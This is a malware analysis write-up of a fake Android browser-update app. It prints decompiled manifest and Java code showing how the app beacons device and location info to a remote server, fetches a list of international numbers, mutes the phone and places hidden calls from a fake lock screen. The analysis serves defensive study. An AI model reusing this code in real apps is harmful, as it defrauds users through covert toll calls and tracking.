Android Fake Вrowser Update Analysis

Recently our colleague N3mes1s found a fake browser updater (password, as usual is: infected) for Android, so I decided to take a look at it. Before we begin I suggest you to download the de-obfuscated java files. The malicious application has the following characteristics:

  • Size: 178111 bytes
  • MD5: 3dcea4358e6229828cfa5a052327088f
  • SHA1: 2f146ea64d5439c243f8e14ecb00b717c60aaacf
  • SHA256: 983e662c5fa649ab25a5209d8996d6ddf581f15ef73d8e14c8360125d2c5f920
  • Platform: Android

Tools:

After decompiling, you can see three main packages: acra, support.v4 and com.example.silnetcall. The last one is the most important. 

To understand what an Android app does, you usually analyse the manifest: everything from permissions required, to services, listeners and activities is found here:

<?xml version="1.0" encoding="utf-8"?> 
<manifest android:versionCode="1" android:versionName="1.0" package="com.example.silnetcall"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@drawable/firefox" android:name="com.example.silnetcall.SilentCallApplication" android:allowBackup="true"> <!-- name: When the application process is started, this class is instantiated before any of the application's components.  -->
        <activity android:theme="@*android:style/Theme.NoTitleBar.Fullscreen" android:label="@string/app_name" android:name="com.example.silnetcall.MainActivity" android:excludeFromRecents="true" android:screenOrientation="portrait"> <!-- The name of the class that implements the activity -->
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:theme="@*android:style/Theme.NoTitleBar.Fullscreen" android:name="LockScreenActivity" android:excludeFromRecents="true" android:screenOrientation="portrait" />
        <receiver android:name="com.example.silnetcall.receiver.OutcommingCallReceiver" android:enabled="true"> <!-- Declares a broadcast receiver (a BroadcastReceiver subclass) as one of the application's components. Broadcast receivers enable applications to receive intents that are broadcast by the system or by other applications -->
            <intent-filter> <!-- The name of the class that implements the broadcast receiver,  -->
                <action android:name="android.intent.action.PHONE_STATE" />
                <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
            </intent-filter>
        </receiver>
        <receiver android:name="com.example.silnetcall.receiver.PhoneBootReceiver" android:enabled="true"> <!-- This is broadcast once, after the system has finished booting -->
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>
        <service android:name="com.example.silnetcall.service.KeepAliveService" android:excludeFromRecents="true" />
        <service android:name="com.example.silnetcall.service.UpdateService" android:excludeFromRecents="true" />
    </application>
</manifest>

The app starts com.example.silnetcall.SilentCallApplication that also is the first class called when the malware runs.

public void onCreate() { //method invoke when an Action is launched
//...
Context appContext = this.getApplicationContext(); //get the context: it is required to use sqlite, sensors, etc..
      com.example.silnetcall.dbNumbPck.DbNumberSingleton.setAppContext(appContext);
      com.example.silnetcall.d.LockScreenHandler.setContext(appContext);
      com.example.silnetcall.sensor.sensorManager.setContext(appContext); 
      com.example.silnetcall.sensor.Accelerometer.getIstance(); // init the Accelerometer: sends com.example.silnetcall.RESET_BROADCAST in broadcast when GPS position changes

      Intent localIntent = new Intent(appContext, KeepAliveService.class); // starts a new service
      this.getApplicationContext().startService(localIntent);
      this.sharedPref = PreferenceManager.getDefaultSharedPreferences(this.getApplicationContext()); // gets App preferences
      if(!this.sharedPref.getBoolean("INSTALLED", false)) { // is it the first run?
         (new com.example.silnetcall.InternetCom.CellInfos(this.getApplicationContext())).sendInfos(false); // sends cell infos
      }
      if(this.sharedPref.getBoolean("NUMBERS_RECEIVED", false)) { // do we already have a list of numbers?
         numbers = com.example.silnetcall.dbNumbPck.DbNumberSingleton.getInstance().readNumbers(); // gets a list of numbers
      } else {
         (new com.example.silnetcall.InternetCom.downloadNumbersTask(this)).execute(new Void[0]);
      }

As it’s clear from the code, the first actions performed by the app are two different HTTP REQUESTS: the first one sends the BTS cell info to a certain web site (to extract each request you can use Burp Suite as a proxy while running the Android emulator:  ./emulator @Emulator -http-proxy http://localhost:8080):
REQUEST:
/api/ping/?uid=73c01eafe4f22f64b9b96fa47667f79d&id.subid=1.50&android_version=3.1&device_manufacturer=unknown+sdk&connection_type=Mobile+UNKNOWN&location=53.2%2C+27.1&operator=Android&number=000000000000000&density=0.75&resolution=240x400 HTTP/1.1
Host: burtur.texa****.org

RESPONSE:
{“status”:”ok”,”message”:”Host installed.”}

The second HTTP request is used to retrieve a JSON file:

{"result" : "OK", "counntry" : "General", "MCC" : "", "MNC" : "", "numbers" : ["+2392202..","", ...]}

Numbers have different prefixes:

  • +881:Mobile Satellite System
  • +882:International Networks
  • +239: Sao Tome e Principe
  • +228: Togo
  • +674:Nauru
  • +225: Cote d’ivoire
  • +252: Somalia
  • +371: Latvia
  • +960: Maldives
  • +232: Sierra Leone
  • +257: Burundi
  • +224: Guinea
  • +994: Azerbaijan
  • +269: Maiote
  • +381: Serbia
  • +56: Chile
  • +352: Luxembourg
  • +387: Bosnia and Herzegovina
  • +509: Haiti
  • +355: Albania
  • +1 246: Barbados
  • +297: Aruba
  • +93: Afghanistan
  • +63: Philippines
  • +261: Madagascar

Keep in mind the numbers just shown, they will come in handy later on.

There’s also another HTTP request made by the ACRA frameworks which is of not interest at the moment.

We can briefly return to the XML manifest: inside the application tag there’s an activity: com.example.silnetcall.MainActivity, that is used only to show the following message:

Browserupdate

 

Let’s now focus on the receiver tags: “Broadcast receivers enable applications to receive intents that are broadcast by the system or by other applications, even when other components of the application are not running.”

<receiver android:name="com.example.silnetcall.receiver.OutcommingCallReceiver" android:enabled="true"> <!-- Declares a broadcast receiver (a BroadcastReceiver subclass) as one of the application's components. Broadcast receivers enable applications to receive intents that are broadcast by the system or by other applications -->
     <intent-filter> <!-- The name of the class that implements the broadcast receiver,  -->
                <action android:name="android.intent.action.PHONE_STATE" />
                <action android:name="android.intent.action.NEW_OUTGOING_CALL" /> <!-- intercept an out-going call-->
    </intent-filter>
</receiver>

<receiver android:name="com.example.silnetcall.receiver.PhoneBootReceiver" android:enabled="true"> <!-- This is broadcast once, after the system has finished booting -->
      <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" /> <!-- The phone booted -->
       </intent-filter>
 </receiver>

The first receiver is used to be notified when an outgoing call takes place and the phone is found to be in a specific state: see the related intent-filter tag in the manifest.

public class OutcommingCallReceiver extends BroadcastReceiver {

//This method is called when the BroadcastReceiver is receiving an Intent broadcast.
public void onReceive(Context var1, Intent var2) {
      Bundle var3 = var2.getExtras();
      if(var3 != null) {
         String var4 = var3.getString("state");
         b = var1.getApplicationContext(); // b is a Context istance
         if(var4.equalsIgnoreCase(TelephonyManager.EXTRA_STATE_IDLE) && !oldState.equalsIgnoreCase(TelephonyManager.EXTRA_STATE_IDLE) && LockScreenActivity.lockActRun) {
            Tools.callNumb(b); // call number 
         }

         oldState = var4;
      }
   }

public class Tools {
public static void callNumb(Context var0) {//the method used to call a random number
      ....

         Intent var4 = new Intent("android.intent.action.CALL");
         Object[] var5 = new Object[]{Uri.parse(num)};
         var4.setData(Uri.parse(String.format("tel: %s", var5)));
         var4.setFlags(268435456);//FLAG_ACTIVITY_NEW_TASK 
         var0.startActivity(var4);
}

So when a call is initiated and it’s not started by LockScreenActivity activity (see next), the malware makes another call to one of the numbers previously retrieved from the JSON.

The second receiver catches the system boot event, see the BOOT_COMPLETED action:

public class PhoneBootReceiver extends BroadcastReceiver {
public void onReceive(Context var1, Intent var2) {
      Intent var3 = new Intent(var1, UpdateService.class); 
      var3.putExtra("SCREEN_STATE_KEY", true);
      var1.startService(var3); // starts a new service from the UpdateService.class file
   }

It starts a service, related to the UpdateService class, that in turn receives another action:

public class UpdateService extends Service {
   public void onCreate() {
      super.onCreate();
      IntentFilter var1 = new IntentFilter("android.intent.action.SCREEN_ON");
      var1.addAction("android.intent.action.SCREEN_OFF");
      var1.addAction("com.example.silnetcall.RESET_BROADCAST");
      this.registerReceiver(new myBroadCastReceiver(), var1); // Registers a new broadcast receiver
   }

So myBroadCastReceiver will receive three actions: the first and the second are Android actions while the third one is forged ad-hoc. Let’s see what myBroadCastReceiver does:

public class myBroadCastReceiver extends BroadcastReceiver {
   public void onReceive(Context var1, Intent var2) {
      if(!var2.getAction().equals("android.intent.action.SCREEN_OFF") && (screenState || !var2.getAction().equals("com.example.silnetcall.RESET_BROADCAST"))) {
         if(var2.getAction().equals("android.intent.action.SCREEN_ON")) {
            screenState = true;//say thath screen is on
         }
      } else {//is screen state is off or there's a RESET_BROADCAST
         LockScreenHandler.getInstance().sendMessageDelayed(new Message(), 120000L); // enqueue a message to LockScreenHandler with 120sec of delay
         screenState = false;
      }

      Intent var4 = new Intent(var1, UpdateService.class); // UpdateService is called again!
      var4.putExtra("SCREEN_STATE_KEY", screenState);
      var1.startService(var4);
   }

At this point our attention should have been captured by the LockScreenHandler.getInstance().sendMessageDelayed(new Message(), 120000L); but  before we can dig deeper in that, let’s take a look at how RESET_BROADCAST is sent:
the Accelerometer class sends a RESET_BROADCAST when the GPS info changes (it was instantiated into the SilentCallApplication onCreate method), as you can see:

public class Accelerometer extends sensorManager {
public void onSensorChanged(SensorEvent paramSensorEvent) { // Called when sensor values have changed.
	   try
	    {
	      if (...)//a check on coordinates
	      {
	    	com.example.silnetcall.d.LockScreenHandler.getInstance().removeMessages(0);
	        Intent localIntent = new Intent();
	        localIntent.setAction("com.example.silnetcall.RESET_BROADCAST"); // here it sends a RESET_BROADCAST
	        myContext.sendBroadcast(localIntent); //send a message in broadcast
              }

Now we can finally take a look at the LockScreenHandler class:

public void dispatchMessage(Message var1) {//Handle system messages
         ((AudioManager)myContext.getSystemService("audio")).setStreamVolume(0, 0, 0); // volume is set to mute
         Intent var2 = new Intent(myContext, LockScreenActivity.class); // starts another activity
         var2.setFlags(268435456); // Intent.FLAG_ACTIVITY_NEW_TASK
         myContext.startActivity(var2);

So another activity is called that is LockScreenActivity: this Activity creates a window that has as a background image the default android wallpaper, a close button at the center and a surprise…

   protected void onCreate(Bundle var1) {
      super.onCreate(var1);

      this.setContentView(2130903040);//name="activity_lock" id="0x7f030000" 
      this.getWindow().setFlags(8192, 8192); //FLAG_SECURE Treat the content of the window as secure
      this.e = (WindowManager)this.getApplicationContext().getSystemService("window"); // The top-level window manager in which you can place custom windows
      this.d = LayoutInflater.from(this).inflate(2130903040, (ViewGroup)null); // name="activity_lock" id="0x7f030000"  
      LayoutParams var2 = new LayoutParams();
      var2.height = -1;
      var2.width = -1;
      var2.flags = 1280;
      var2.type = 2003;
      this.e.addView(this.d, var2);
      Drawable var3 = WallpaperManager.getInstance(this).getDrawable(); // Retrieve the current system wallpaper
      this.c = (ImageView)this.d.findViewById(2131230720); // name="wall_img" id="0x7f080000" 
      this.c.setImageDrawable(var3); // set the system wall paper into activity imageview
      LayoutParams var4 = this.getWindow().getAttributes();
      var4.screenBrightness = 0.0F;
      this.getWindow().setAttributes(var4);

      Tools.callNumb(this.getApplicationContext()); // surprise!!

      lockActRun = true;
   }

To make the call flow clear from PhoneBootReceiver to LockScreenHandler let’s show a diagram, also remember that in LockScreenHandler the volume is set to mute: clearly this is an attempt to disguise the unwanted outgoing call from the user.

flow

As you can seen from the flowchart, both the services declared in the manifest: KeepAliveService and UpdateService, register the same listener found in the myBroadCastReceiver class.

This is a really simple “let me waste your credit” malware with close-to-zero obfuscation, nevertheless it is a useful exercise to get accustomed with Android malware analysis before digging into much more complicated applications.
Pn